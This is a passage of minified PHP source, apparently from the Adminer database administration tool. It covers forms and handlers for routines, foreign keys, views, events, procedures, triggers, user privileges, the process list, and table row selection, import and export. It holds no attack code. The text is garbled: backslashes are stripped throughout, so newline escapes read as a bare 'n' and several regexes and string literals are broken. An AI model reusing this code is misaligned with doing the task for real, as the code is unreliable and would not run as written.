<p><input name="name" id="name" value="',h($J["name"]),'" autocapitalize="off">
',script("focus(qs('#name'));"),'<input type="submit" value="',lang(14),'">
';if($_GET["ns"]!="")echo"<input type='submit' name='drop' value='".lang(127)."'>".confirm(lang(175,$_GET["ns"]))."n";echo'<input type="hidden" name="token" value="',$qi,'">
</form>
';}elseif(isset($_GET["call"])){$da=($_GET["name"]?$_GET["name"]:$_GET["call"]);page_header(lang(191).": ".h($da),$n);$Wg=routine($_GET["call"],(isset($_GET["callf"])?"FUNCTION":"PROCEDURE"));$Ld=array();$Lf=array();foreach($Wg["fields"]as$t=>$o){if(substr($o["inout"],-3)=="OUT")$Lf[$t]="@".idf_escape($o["field"])." AS ".idf_escape($o["field"]);if(!$o["inout"]||substr($o["inout"],0,2)=="IN")$Ld[]=$t;}if(!$n&&$_POST){$Ya=array();foreach($Wg["fields"]as$z=>$o){if(in_array($z,$Ld)){$X=process_input($o);if($X===false)$X="''";if(isset($Lf[$z]))$g->query("SET @".idf_escape($o["field"])." = $X");}$Ya[]=(isset($Lf[$z])?"@".idf_escape($o["field"]):$X);}$G=(isset($_GET["callf"])?"SELECT":"CALL")." ".table($da)."(".implode(", ",$Ya).")";$Fh=microtime(true);$H=$g->multi_query($G);$_a=$g->affected_rows;echo$b->selectQuery($G,$Fh,!$H);if(!$H)echo"<p class='error'>".error()."n";else{$h=connect();if(is_object($h))$h->select_db(DB);do{$H=$g->store_result();if(is_object($H))select($H,$h);else
echo"<p class='message'>".lang(192,$_a)." <span class='time'>".@date("H:i:s")."</span>n";}while($g->next_result());if($Lf)select($g->query("SELECT ".implode(", ",$Lf)));}}echo'
<form action="" method="post">
';if($Ld){echo"<table cellspacing='0' class='layout'>n";foreach($Ld
as$z){$o=$Wg["fields"][$z];$D=$o["field"];echo"<tr><th>".$b->fieldName($o);$Y=$_POST["fields"][$D];if($Y!=""){if($o["type"]=="enum")$Y=+$Y;if($o["type"]=="set")$Y=array_sum($Y);}input($o,$Y,(string)$_POST["function"][$D]);echo"n";}echo"</table>n";}echo'<p>
<input type="submit" value="',lang(191),'">
<input type="hidden" name="token" value="',$qi,'">
</form>
';}elseif(isset($_GET["foreign"])){$a=$_GET["foreign"];$D=$_GET["name"];$J=$_POST;if($_POST&&!$n&&!$_POST["add"]&&!$_POST["change"]&&!$_POST["change-js"]){$Ne=($_POST["drop"]?lang(193):($D!=""?lang(194):lang(195)));$B=ME."table=".urlencode($a);if(!$_POST["drop"]){$J["source"]=array_filter($J["source"],'strlen');ksort($J["source"]);$Zh=array();foreach($J["source"]as$z=>$X)$Zh[$z]=$J["target"][$z];$J["target"]=$Zh;}if($y=="sqlite")queries_redirect($B,$Ne,recreate_table($a,$a,array(),array(),array(" $D"=>($_POST["drop"]?"":" ".format_foreign_key($J)))));else{$c="ALTER TABLE ".table($a);$lc="nDROP ".($y=="sql"?"FOREIGN KEY ":"CONSTRAINT ").idf_escape($D);if($_POST["drop"])query_redirect($c.$lc,$B,$Ne);else{query_redirect($c.($D!=""?"$lc,":"")."nADD".format_foreign_key($J),$B,$Ne);$n=lang(196)."<br>$n";}}}page_header(lang(197),$n,array("table"=>$a),h($a));if($_POST){ksort($J["source"]);if($_POST["add"])$J["source"][]="";elseif($_POST["change"]||$_POST["change-js"])$J["target"]=array();}elseif($D!=""){$jd=foreign_keys($a);$J=$jd[$D];$J["source"][]="";}else{$J["table"]=$a;$J["source"]=array("");}echo'
<form action="" method="post">
';$yh=array_keys(fields($a));if($J["db"]!="")$g->select_db($J["db"]);if($J["ns"]!="")set_schema($J["ns"]);$Fg=array_keys(array_filter(table_status('',true),'fk_support'));$Zh=array_keys(fields(in_array($J["table"],$Fg)?$J["table"]:reset($Fg)));$tf="this.form['change-js'].value = '1'; this.form.submit();";echo"<p>".lang(198).": ".html_select("table",$Fg,$J["table"],$tf)."n";if($y=="pgsql")echo
lang(77).": ".html_select("ns",$b->schemas(),$J["ns"]!=""?$J["ns"]:$_GET["ns"],$tf);elseif($y!="sqlite"){$Wb=array();foreach($b->databases()as$l){if(!information_schema($l))$Wb[]=$l;}echo
lang(76).": ".html_select("db",$Wb,$J["db"]!=""?$J["db"]:$_GET["db"],$tf);}echo'<input type="hidden" name="change-js" value="">
<noscript><p><input type="submit" name="change" value="',lang(199),'"></noscript>
<table cellspacing="0">
<thead><tr><th id="label-source">',lang(134),'<th id="label-target">',lang(135),'</thead>
';$ge=0;foreach($J["source"]as$z=>$X){echo"<tr>","<td>".html_select("source[".(+$z)."]",array(-1=>"")+$yh,$X,($ge==count($J["source"])-1?"foreignAddRow.call(this);":1),"label-source"),"<td>".html_select("target[".(+$z)."]",$Zh,$J["target"][$z],1,"label-target");$ge++;}echo'</table>
<p>
',lang(103),': ',html_select("on_delete",array(-1=>"")+explode("|",$sf),$J["on_delete"]),' ',lang(102),': ',html_select("on_update",array(-1=>"")+explode("|",$sf),$J["on_update"]),doc_link(array('sql'=>"innodb-foreign-key-constraints.html",'mariadb'=>"foreign-keys/",'pgsql'=>"sql-createtable.html#SQL-CREATETABLE-REFERENCES",'mssql'=>"ms174979.aspx",'oracle'=>"https://docs.oracle.com/cd/B19306_01/server.102/b14200/clauses002.htm#sthref2903",)),'<p>
<input type="submit" value="',lang(14),'">
<noscript><p><input type="submit" name="add" value="',lang(200),'"></noscript>
';if($D!=""){echo'<input type="submit" name="drop" value="',lang(127),'">',confirm(lang(175,$D));}echo'<input type="hidden" name="token" value="',$qi,'">
</form>
';}elseif(isset($_GET["view"])){$a=$_GET["view"];$J=$_POST;$If="VIEW";if($y=="pgsql"&&$a!=""){$O=table_status($a);$If=strtoupper($O["Engine"]);}if($_POST&&!$n){$D=trim($J["name"]);$Ga=" ASn$J[select]";$B=ME."table=".urlencode($D);$Ne=lang(201);$T=($_POST["materialized"]?"MATERIALIZED VIEW":"VIEW");if(!$_POST["drop"]&&$a==$D&&$y!="sqlite"&&$T=="VIEW"&&$If=="VIEW")query_redirect(($y=="mssql"?"ALTER":"CREATE OR REPLACE")." VIEW ".table($D).$Ga,$B,$Ne);else{$bi=$D."_adminer_".uniqid();drop_create("DROP $If ".table($a),"CREATE $T ".table($D).$Ga,"DROP $T ".table($D),"CREATE $T ".table($bi).$Ga,"DROP $T ".table($bi),($_POST["drop"]?substr(ME,0,-1):$B),lang(202),$Ne,lang(203),$a,$D);}}if(!$_POST&&$a!=""){$J=view($a);$J["name"]=$a;$J["materialized"]=($If!="VIEW");if(!$n)$n=error();}page_header(($a!=""?lang(43):lang(204)),$n,array("table"=>$a),h($a));echo'
<form action="" method="post">
<p>',lang(183),': <input name="name" value="',h($J["name"]),'" data-maxlength="64" autocapitalize="off">
',(support("materializedview")?" ".checkbox("materialized",1,$J["materialized"],lang(129)):""),'<p>';textarea("select",$J["select"]);echo'<p>
<input type="submit" value="',lang(14),'">
';if($a!=""){echo'<input type="submit" name="drop" value="',lang(127),'">',confirm(lang(175,$a));}echo'<input type="hidden" name="token" value="',$qi,'">
</form>
';}elseif(isset($_GET["event"])){$aa=$_GET["event"];$Yd=array("YEAR","QUARTER","MONTH","DAY","HOUR","MINUTE","WEEK","SECOND","YEAR_MONTH","DAY_HOUR","DAY_MINUTE","DAY_SECOND","HOUR_MINUTE","HOUR_SECOND","MINUTE_SECOND");$Hh=array("ENABLED"=>"ENABLE","DISABLED"=>"DISABLE","SLAVESIDE_DISABLED"=>"DISABLE ON SLAVE");$J=$_POST;if($_POST&&!$n){if($_POST["drop"])query_redirect("DROP EVENT ".idf_escape($aa),substr(ME,0,-1),lang(205));elseif(in_array($J["INTERVAL_FIELD"],$Yd)&&isset($Hh[$J["STATUS"]])){$bh="nON SCHEDULE ".($J["INTERVAL_VALUE"]?"EVERY ".q($J["INTERVAL_VALUE"])." $J[INTERVAL_FIELD]".($J["STARTS"]?" STARTS ".q($J["STARTS"]):"").($J["ENDS"]?" ENDS ".q($J["ENDS"]):""):"AT ".q($J["STARTS"]))." ON COMPLETION".($J["ON_COMPLETION"]?"":" NOT")." PRESERVE";queries_redirect(substr(ME,0,-1),($aa!=""?lang(206):lang(207)),queries(($aa!=""?"ALTER EVENT ".idf_escape($aa).$bh.($aa!=$J["EVENT_NAME"]?"nRENAME TO ".idf_escape($J["EVENT_NAME"]):""):"CREATE EVENT ".idf_escape($J["EVENT_NAME"]).$bh)."n".$Hh[$J["STATUS"]]." COMMENT ".q($J["EVENT_COMMENT"]).rtrim(" DOn$J[EVENT_DEFINITION]",";").";"));}}page_header(($aa!=""?lang(208).": ".h($aa):lang(209)),$n);if(!$J&&$aa!=""){$K=get_rows("SELECT * FROM information_schema.EVENTS WHERE EVENT_SCHEMA = ".q(DB)." AND EVENT_NAME = ".q($aa));$J=reset($K);}echo'
<form action="" method="post">
<table cellspacing="0" class="layout">
<tr><th>',lang(183),'<td><input name="EVENT_NAME" value="',h($J["EVENT_NAME"]),'" data-maxlength="64" autocapitalize="off">
<tr><th title="datetime">',lang(210),'<td><input name="STARTS" value="',h("$J[EXECUTE_AT]$J[STARTS]"),'">
<tr><th title="datetime">',lang(211),'<td><input name="ENDS" value="',h($J["ENDS"]),'">
<tr><th>',lang(212),'<td><input type="number" name="INTERVAL_VALUE" value="',h($J["INTERVAL_VALUE"]),'" class="size"> ',html_select("INTERVAL_FIELD",$Yd,$J["INTERVAL_FIELD"]),'<tr><th>',lang(118),'<td>',html_select("STATUS",$Hh,$J["STATUS"]),'<tr><th>',lang(50),'<td><input name="EVENT_COMMENT" value="',h($J["EVENT_COMMENT"]),'" data-maxlength="64">
<tr><th><td>',checkbox("ON_COMPLETION","PRESERVE",$J["ON_COMPLETION"]=="PRESERVE",lang(213)),'</table>
<p>';textarea("EVENT_DEFINITION",$J["EVENT_DEFINITION"]);echo'<p>
<input type="submit" value="',lang(14),'">
';if($aa!=""){echo'<input type="submit" name="drop" value="',lang(127),'">',confirm(lang(175,$aa));}echo'<input type="hidden" name="token" value="',$qi,'">
</form>
';}elseif(isset($_GET["procedure"])){$da=($_GET["name"]?$_GET["name"]:$_GET["procedure"]);$Wg=(isset($_GET["function"])?"FUNCTION":"PROCEDURE");$J=$_POST;$J["fields"]=(array)$J["fields"];if($_POST&&!process_fields($J["fields"])&&!$n){$Ff=routine($_GET["procedure"],$Wg);$bi="$J[name]_adminer_".uniqid();drop_create("DROP $Wg ".routine_id($da,$Ff),create_routine($Wg,$J),"DROP $Wg ".routine_id($J["name"],$J),create_routine($Wg,array("name"=>$bi)+$J),"DROP $Wg ".routine_id($bi,$J),substr(ME,0,-1),lang(214),lang(215),lang(216),$da,$J["name"]);}page_header(($da!=""?(isset($_GET["function"])?lang(217):lang(218)).": ".h($da):(isset($_GET["function"])?lang(219):lang(220))),$n);if(!$_POST&&$da!=""){$J=routine($_GET["procedure"],$Wg);$J["name"]=$da;}$nb=get_vals("SHOW CHARACTER SET");sort($nb);$Xg=routine_languages();echo'
<form action="" method="post" id="form">
<p>',lang(183),': <input name="name" value="',h($J["name"]),'" data-maxlength="64" autocapitalize="off">
',($Xg?lang(19).": ".html_select("language",$Xg,$J["language"])."n":""),'<input type="submit" value="',lang(14),'">
<div class="scrollable">
<table cellspacing="0" class="nowrap">
';edit_fields($J["fields"],$nb,$Wg);if(isset($_GET["function"])){echo"<tr><td>".lang(221);edit_type("returns",$J["returns"],$nb,array(),($y=="pgsql"?array("void","trigger"):array()));}echo'</table>
',script("editFields();"),'</div>
<p>';textarea("definition",$J["definition"]);echo'<p>
<input type="submit" value="',lang(14),'">
';if($da!=""){echo'<input type="submit" name="drop" value="',lang(127),'">',confirm(lang(175,$da));}echo'<input type="hidden" name="token" value="',$qi,'">
</form>
';}elseif(isset($_GET["sequence"])){$fa=$_GET["sequence"];$J=$_POST;if($_POST&&!$n){$A=substr(ME,0,-1);$D=trim($J["name"]);if($_POST["drop"])query_redirect("DROP SEQUENCE ".idf_escape($fa),$A,lang(222));elseif($fa=="")query_redirect("CREATE SEQUENCE ".idf_escape($D),$A,lang(223));elseif($fa!=$D)query_redirect("ALTER SEQUENCE ".idf_escape($fa)." RENAME TO ".idf_escape($D),$A,lang(224));else
redirect($A);}page_header($fa!=""?lang(225).": ".h($fa):lang(226),$n);if(!$J)$J["name"]=$fa;echo'
<form action="" method="post">
<p><input name="name" value="',h($J["name"]),'" autocapitalize="off">
<input type="submit" value="',lang(14),'">
';if($fa!="")echo"<input type='submit' name='drop' value='".lang(127)."'>".confirm(lang(175,$fa))."n";echo'<input type="hidden" name="token" value="',$qi,'">
</form>
';}elseif(isset($_GET["type"])){$ga=$_GET["type"];$J=$_POST;if($_POST&&!$n){$A=substr(ME,0,-1);if($_POST["drop"])query_redirect("DROP TYPE ".idf_escape($ga),$A,lang(227));else
query_redirect("CREATE TYPE ".idf_escape(trim($J["name"]))." $J[as]",$A,lang(228));}page_header($ga!=""?lang(229).": ".h($ga):lang(230),$n);if(!$J)$J["as"]="AS ";echo'
<form action="" method="post">
<p>
';if($ga!="")echo"<input type='submit' name='drop' value='".lang(127)."'>".confirm(lang(175,$ga))."n";else{echo"<input name='name' value='".h($J['name'])."' autocapitalize='off'>n";textarea("as",$J["as"]);echo"<p><input type='submit' value='".lang(14)."'>n";}echo'<input type="hidden" name="token" value="',$qi,'">
</form>
';}elseif(isset($_GET["trigger"])){$a=$_GET["trigger"];$D=$_GET["name"];$Ai=trigger_options();$J=(array)trigger($D,$a)+array("Trigger"=>$a."_bi");if($_POST){if(!$n&&in_array($_POST["Timing"],$Ai["Timing"])&&in_array($_POST["Event"],$Ai["Event"])&&in_array($_POST["Type"],$Ai["Type"])){$rf=" ON ".table($a);$lc="DROP TRIGGER ".idf_escape($D).($y=="pgsql"?$rf:"");$B=ME."table=".urlencode($a);if($_POST["drop"])query_redirect($lc,$B,lang(231));else{if($D!="")queries($lc);queries_redirect($B,($D!=""?lang(232):lang(233)),queries(create_trigger($rf,$_POST)));if($D!="")queries(create_trigger($rf,$J+array("Type"=>reset($Ai["Type"]))));}}$J=$_POST;}page_header(($D!=""?lang(234).": ".h($D):lang(235)),$n,array("table"=>$a));echo'
<form action="" method="post" id="form">
<table cellspacing="0" class="layout">
<tr><th>',lang(236),'<td>',html_select("Timing",$Ai["Timing"],$J["Timing"],"triggerChange(/^".preg_quote($a,"/")."_[ba][iud]$/, '".js_escape($a)."', this.form);"),'<tr><th>',lang(237),'<td>',html_select("Event",$Ai["Event"],$J["Event"],"this.form['Timing'].onchange();"),(in_array("UPDATE OF",$Ai["Event"])?" <input name='Of' value='".h($J["Of"])."' class='hidden'>":""),'<tr><th>',lang(49),'<td>',html_select("Type",$Ai["Type"],$J["Type"]),'</table>
<p>',lang(183),': <input name="Trigger" value="',h($J["Trigger"]),'" data-maxlength="64" autocapitalize="off">
',script("qs('#form')['Timing'].onchange();"),'<p>';textarea("Statement",$J["Statement"]);echo'<p>
<input type="submit" value="',lang(14),'">
';if($D!=""){echo'<input type="submit" name="drop" value="',lang(127),'">',confirm(lang(175,$D));}echo'<input type="hidden" name="token" value="',$qi,'">
</form>
';}elseif(isset($_GET["user"])){$ha=$_GET["user"];$sg=array(""=>array("All privileges"=>""));foreach(get_rows("SHOW PRIVILEGES")as$J){foreach(explode(",",($J["Privilege"]=="Grant option"?"":$J["Context"]))as$Fb)$sg[$Fb][$J["Privilege"]]=$J["Comment"];}$sg["Server Admin"]+=$sg["File access on server"];$sg["Databases"]["Create routine"]=$sg["Procedures"]["Create routine"];unset($sg["Procedures"]["Create routine"]);$sg["Columns"]=array();foreach(array("Select","Insert","Update","References")as$X)$sg["Columns"][$X]=$sg["Tables"][$X];unset($sg["Server Admin"]["Usage"]);foreach($sg["Tables"]as$z=>$X)unset($sg["Databases"][$z]);$af=array();if($_POST){foreach($_POST["objects"]as$z=>$X)$af[$X]=(array)$af[$X]+(array)$_POST["grants"][$z];}$rd=array();$pf="";if(isset($_GET["host"])&&($H=$g->query("SHOW GRANTS FOR ".q($ha)."@".q($_GET["host"])))){while($J=$H->fetch_row()){if(preg_match('~GRANT (.*) ON (.*) TO ~',$J[0],$C)&&preg_match_all('~ *([^(,]*[^ ,(])( *([^)]+))?~',$C[1],$Fe,PREG_SET_ORDER)){foreach($Fe
as$X){if($X[1]!="USAGE")$rd["$C[2]$X[2]"][$X[1]]=true;if(preg_match('~ WITH GRANT OPTION~',$J[0]))$rd["$C[2]$X[2]"]["GRANT OPTION"]=true;}}if(preg_match("~ IDENTIFIED BY PASSWORD '([^']+)~",$J[0],$C))$pf=$C[1];}}if($_POST&&!$n){$qf=(isset($_GET["host"])?q($ha)."@".q($_GET["host"]):"''");if($_POST["drop"])query_redirect("DROP USER $qf",ME."privileges=",lang(238));else{$cf=q($_POST["user"])."@".q($_POST["host"]);$Zf=$_POST["pass"];if($Zf!=''&&!$_POST["hashed"]&&!min_version(8)){$Zf=$g->result("SELECT PASSWORD(".q($Zf).")");$n=!$Zf;}$Lb=false;if(!$n){if($qf!=$cf){$Lb=queries((min_version(5)?"CREATE USER":"GRANT USAGE ON *.* TO")." $cf IDENTIFIED BY ".(min_version(8)?"":"PASSWORD ").q($Zf));$n=!$Lb;}elseif($Zf!=$pf)queries("SET PASSWORD FOR $cf = ".q($Zf));}if(!$n){$Tg=array();foreach($af
as$if=>$qd){if(isset($_GET["grant"]))$qd=array_filter($qd);$qd=array_keys($qd);if(isset($_GET["grant"]))$Tg=array_diff(array_keys(array_filter($af[$if],'strlen')),$qd);elseif($qf==$cf){$nf=array_keys((array)$rd[$if]);$Tg=array_diff($nf,$qd);$qd=array_diff($qd,$nf);unset($rd[$if]);}if(preg_match('~^(.+)s*((.*))?$~U',$if,$C)&&(!grant("REVOKE",$Tg,$C[2]," ON $C[1] FROM $cf")||!grant("GRANT",$qd,$C[2]," ON $C[1] TO $cf"))){$n=true;break;}}}if(!$n&&isset($_GET["host"])){if($qf!=$cf)queries("DROP USER $qf");elseif(!isset($_GET["grant"])){foreach($rd
as$if=>$Tg){if(preg_match('~^(.+)((.*))?$~U',$if,$C))grant("REVOKE",array_keys($Tg),$C[2]," ON $C[1] FROM $cf");}}}queries_redirect(ME."privileges=",(isset($_GET["host"])?lang(239):lang(240)),!$n);if($Lb)$g->query("DROP USER $cf");}}page_header((isset($_GET["host"])?lang(35).": ".h("$ha@$_GET[host]"):lang(146)),$n,array("privileges"=>array('',lang(71))));if($_POST){$J=$_POST;$rd=$af;}else{$J=$_GET+array("host"=>$g->result("SELECT SUBSTRING_INDEX(CURRENT_USER, '@', -1)"));$J["pass"]=$pf;if($pf!="")$J["hashed"]=true;$rd[(DB==""||$rd?"":idf_escape(addcslashes(DB,"%_\"))).".*"]=array();}echo'<form action="" method="post">
<table cellspacing="0" class="layout">
<tr><th>',lang(34),'<td><input name="host" data-maxlength="60" value="',h($J["host"]),'" autocapitalize="off">
<tr><th>',lang(35),'<td><input name="user" data-maxlength="80" value="',h($J["user"]),'" autocapitalize="off">
<tr><th>',lang(36),'<td><input name="pass" id="pass" value="',h($J["pass"]),'" autocomplete="new-password">
';if(!$J["hashed"])echo
script("typePassword(qs('#pass'));");echo(min_version(8)?"":checkbox("hashed",1,$J["hashed"],lang(241),"typePassword(this.form['pass'], this.checked);")),'</table>

';echo"<table cellspacing='0'>n","<thead><tr><th colspan='2'>".lang(71).doc_link(array('sql'=>"grant.html#priv_level"));$t=0;foreach($rd
as$if=>$qd){echo'<th>'.($if!="*.*"?"<input name='objects[$t]' value='".h($if)."' size='10' autocapitalize='off'>":"<input type='hidden' name='objects[$t]' value='*.*' size='10'>*.*");$t++;}echo"</thead>n";foreach(array(""=>"","Server Admin"=>lang(34),"Databases"=>lang(37),"Tables"=>lang(131),"Columns"=>lang(48),"Procedures"=>lang(242),)as$Fb=>$dc){foreach((array)$sg[$Fb]as$rg=>$tb){echo"<tr".odd()."><td".($dc?">$dc<td":" colspan='2'").' lang="en" title="'.h($tb).'">'.h($rg);$t=0;foreach($rd
as$if=>$qd){$D="'grants[$t][".h(strtoupper($rg))."]'";$Y=$qd[strtoupper($rg)];if($Fb=="Server Admin"&&$if!=(isset($rd["*.*"])?"*.*":".*"))echo"<td>";elseif(isset($_GET["grant"]))echo"<td><select name=$D><option><option value='1'".($Y?" selected":"").">".lang(243)."<option value='0'".($Y=="0"?" selected":"").">".lang(244)."</select>";else{echo"<td align='center'><label class='block'>","<input type='checkbox' name=$D value='1'".($Y?" checked":"").($rg=="All privileges"?" id='grants-$t-all'>":">".($rg=="Grant option"?"":script("qsl('input').onclick = function () { if (this.checked) formUncheck('grants-$t-all'); };"))),"</label>";}$t++;}}}echo"</table>n",'<p>
<input type="submit" value="',lang(14),'">
';if(isset($_GET["host"])){echo'<input type="submit" name="drop" value="',lang(127),'">',confirm(lang(175,"$ha@$_GET[host]"));}echo'<input type="hidden" name="token" value="',$qi,'">
</form>
';}elseif(isset($_GET["processlist"])){if(support("kill")){if($_POST&&!$n){$le=0;foreach((array)$_POST["kill"]as$X){if(kill_process($X))$le++;}queries_redirect(ME."processlist=",lang(245,$le),$le||!$_POST["kill"]);}}page_header(lang(116),$n);echo'
<form action="" method="post">
<div class="scrollable">
<table cellspacing="0" class="nowrap checkable">
',script("mixin(qsl('table'), {onclick: tableClick, ondblclick: partialArg(tableClick, true)});");$t=-1;foreach(process_list()as$t=>$J){if(!$t){echo"<thead><tr lang='en'>".(support("kill")?"<th>":"");foreach($J
as$z=>$X)echo"<th>$z".doc_link(array('sql'=>"show-processlist.html#processlist_".strtolower($z),'pgsql'=>"monitoring-stats.html#PG-STAT-ACTIVITY-VIEW",'oracle'=>"REFRN30223",));echo"</thead>n";}echo"<tr".odd().">".(support("kill")?"<td>".checkbox("kill[]",$J[$y=="sql"?"Id":"pid"],0):"");foreach($J
as$z=>$X)echo"<td>".(($y=="sql"&&$z=="Info"&&preg_match("~Query|Killed~",$J["Command"])&&$X!="")||($y=="pgsql"&&$z=="current_query"&&$X!="<IDLE>")||($y=="oracle"&&$z=="sql_text"&&$X!="")?"<code class='jush-$y'>".shorten_utf8($X,100,"</code>").' <a href="'.h(ME.($J["db"]!=""?"db=".urlencode($J["db"])."&":"")."sql=".urlencode($X)).'">'.lang(246).'</a>':h($X));echo"n";}echo'</table>
</div>
<p>
';if(support("kill")){echo($t+1)."/".lang(247,max_connections()),"<p><input type='submit' value='".lang(248)."'>n";}echo'<input type="hidden" name="token" value="',$qi,'">
</form>
',script("tableCheck();");}elseif(isset($_GET["select"])){$a=$_GET["select"];$R=table_status1($a);$x=indexes($a);$p=fields($a);$jd=column_foreign_keys($a);$lf=$R["Oid"];parse_str($_COOKIE["adminer_import"],$za);$Ug=array();$e=array();$fi=null;foreach($p
as$z=>$o){$D=$b->fieldName($o);if(isset($o["privileges"]["select"])&&$D!=""){$e[$z]=html_entity_decode(strip_tags($D),ENT_QUOTES);if(is_shortable($o))$fi=$b->selectLengthProcess();}$Ug+=$o["privileges"];}list($L,$sd)=$b->selectColumnsProcess($e,$x);$ce=count($sd)<count($L);$Z=$b->selectSearchProcess($p,$x);$Bf=$b->selectOrderProcess($p,$x);$_=$b->selectLimitProcess();if($_GET["val"]&&is_ajax()){header("Content-Type: text/plain; charset=utf-8");foreach($_GET["val"]as$Hi=>$J){$Ga=convert_field($p[key($J)]);$L=array($Ga?$Ga:idf_escape(key($J)));$Z[]=where_check($Hi,$p);$I=$m->select($a,$L,$Z,$L);if($I)echo
reset($I->fetch_row());}exit;}$ng=$Ji=null;foreach($x
as$w){if($w["type"]=="PRIMARY"){$ng=array_flip($w["columns"]);$Ji=($L?$ng:array());foreach($Ji
as$z=>$X){if(in_array(idf_escape($z),$L))unset($Ji[$z]);}break;}}if($lf&&!$ng){$ng=$Ji=array($lf=>0);$x[]=array("type"=>"PRIMARY","columns"=>array($lf));}if($_POST&&!$n){$kj=$Z;if(!$_POST["all"]&&is_array($_POST["check"])){$eb=array();foreach($_POST["check"]as$bb)$eb[]=where_check($bb,$p);$kj[]="((".implode(") OR (",$eb)."))";}$kj=($kj?"nWHERE ".implode(" AND ",$kj):"");if($_POST["export"]){cookie("adminer_import","output=".urlencode($_POST["output"])."&format=".urlencode($_POST["format"]));dump_headers($a);$b->dumpTable($a,"");$od=($L?implode(", ",$L):"*").convert_fields($e,$p,$L)."nFROM ".table($a);$ud=($sd&&$ce?"nGROUP BY ".implode(", ",$sd):"").($Bf?"nORDER BY ".implode(", ",$Bf):"");if(!is_array($_POST["check"])||$ng)$G="SELECT $od$kj$ud";else{$Fi=array();foreach($_POST["check"]as$X)$Fi[]="(SELECT".limit($od,"nWHERE ".($Z?implode(" AND ",$Z)." AND ":"").where_check($X,$p).$ud,1).")";$G=implode(" UNION ALL ",$Fi);}$b->dumpData($a,"table",$G);exit;}if(!$b->selectEmailProcess($Z,$jd)){if($_POST["save"]||$_POST["delete"]){$H=true;$_a=0;$N=array();if(!$_POST["delete"]){foreach($e
as$D=>$X){$X=process_input($p[$D]);if($X!==null&&($_POST["clone"]||$X!==false))$N[idf_escape($D)]=($X!==false?$X:idf_escape($D));}}if($_POST["delete"]||$N){if($_POST["clone"])$G="INTO ".table($a)." (".implode(", ",array_keys($N)).")nSELECT ".implode(", ",$N)."nFROM ".table($a);if($_POST["all"]||($ng&&is_array($_POST["check"]))||$ce){$H=($_POST["delete"]?$m->delete($a,$kj):($_POST["clone"]?queries("INSERT $G$kj"):$m->update($a,$N,$kj)));$_a=$g->affected_rows;}else{foreach((array)$_POST["check"]as$X){$gj="nWHERE ".($Z?implode(" AND ",$Z)." AND ":"").where_check($X,$p);$H=($_POST["delete"]?$m->delete($a,$gj,1):($_POST["clone"]?queries("INSERT".limit1($a,$G,$gj)):$m->update($a,$N,$gj,1)));if(!$H)break;$_a+=$g->affected_rows;}}}$Ne=lang(249,$_a);if($_POST["clone"]&&$H&&$_a==1){$re=last_id();if($re)$Ne=lang(168," $re");}queries_redirect(remove_from_uri($_POST["all"]&&$_POST["delete"]?"page":""),$Ne,$H);if(!$_POST["delete"]){edit_form($a,$p,(array)$_POST["fields"],!$_POST["clone"]);page_footer();exit;}}elseif(!$_POST["import"]){if(!$_POST["val"])$n=lang(250);else{$H=true;$_a=0;foreach($_POST["val"]as$Hi=>$J){$N=array();foreach($J
as$z=>$X){$z=bracket_escape($z,1);$N[idf_escape($z)]=(preg_match('~char|text~',$p[$z]["type"])||$X!=""?$b->processInput($p[$z],$X):"NULL");}$H=$m->update($a,$N," WHERE ".($Z?implode(" AND ",$Z)." AND ":"").where_check($Hi,$p),!$ce&&!$ng," ");if(!$H)break;$_a+=$g->affected_rows;}queries_redirect(remove_from_uri(),lang(249,$_a),$H);}}elseif(!is_string($Zc=get_file("csv_file",true)))$n=upload_error($Zc);elseif(!preg_match('~~u',$Zc))$n=lang(251);else{cookie("adminer_import","output=".urlencode($za["output"])."&format=".urlencode($_POST["separator"]));$H=true;$pb=array_keys($p);preg_match_all('~(?>"[^"]*"|[^"rn]+)+~',$Zc,$Fe);$_a=count($Fe[0]);$m->begin();$kh=($_POST["separator"]=="csv"?",":($_POST["separator"]=="tsv"?"t":";"));$K=array();foreach($Fe[0]as$z=>$X){preg_match_all("~((?>"[^"]*")+|[^$kh]*)$kh~",$X.$kh,$Ge);if(!$z&&!array_diff($Ge[1],$pb)){$pb=$Ge[1];$_a--;}else{$N=array();foreach($Ge[1]as$t=>$kb)$N[idf_escape($pb[$t])]=($kb==""&&$p[$pb[$t]]["null"]?"NULL":q(str_replace('""','"',preg_replace('~^"|"$~','',$kb))));$K[]=$N;}}$H=(!$K||$m->insertUpdate($a,$K,$ng));if($H)$H=$m->commit();queries_redirect(remove_from_uri("page"),lang(252,$_a),$H);$m->rollback();}}}$Rh=$b->tableName($R);if(is_ajax()){page_headers();ob_start();}else
page_header(lang(53).": $Rh",$n);$N=null;if(isset($Ug["insert"])||!support("table")){$N="";foreach((array)$_GET["where"]as$X){if($jd[$X["col"]]&&count($jd[$X["col"]])==1&&($X["op"]=="="||(!$X["op"]&&!preg_match('~[_%]~',$X["val"]))))$N.="&set".urlencode("[".bracket_escape($X["col"])."]")."=".urlencode($X["val"]);}}$b->selectLinks($R,$N);if(!$e&&support("table"))echo"<p class='error'>".lang(253).($p?".":": ".error())."n";else{echo"<form action='' id='form'>n","<div style='display: none;'>";hidden_fields_get();echo(DB!=""?'<input type="hidden" name="db" value="'.h(DB).'">'.(isset($_GET["ns"])?'<input type="hidden" name="ns" value="'.h($_GET["ns"]).'">':""):"");echo'<input type="hidden" name="select" value="'.h($a).'">',"</div>n";$b->selectColumnsPrint($L,$e);$b->selectSearchPrint($Z,$e,$x);$b->selectOrderPrint($Bf,$e,$x);$b->selectLimitPrint($_);$b->selectLengthPrint($fi);$b->selectActionPrint($x);echo"</form>n";$E=$_GET["page"];if($E=="last"){$md=$g->result(count_rows($a,$Z,$ce,$sd));$E=floor(max(0,$md-1)/$_);}$fh=$L;$td=$sd;if(!$fh){$fh[]="*";$Gb=convert_fields($e,$p,$L);if($Gb)$fh[]=substr($Gb,2);}foreach($L
as$z=>$X){$o=$p[idf_unescape($X)];if($o&&($Ga=convert_field($o)))$fh[$z]="$Ga AS $X";}if(!$ce&&$Ji){foreach($Ji
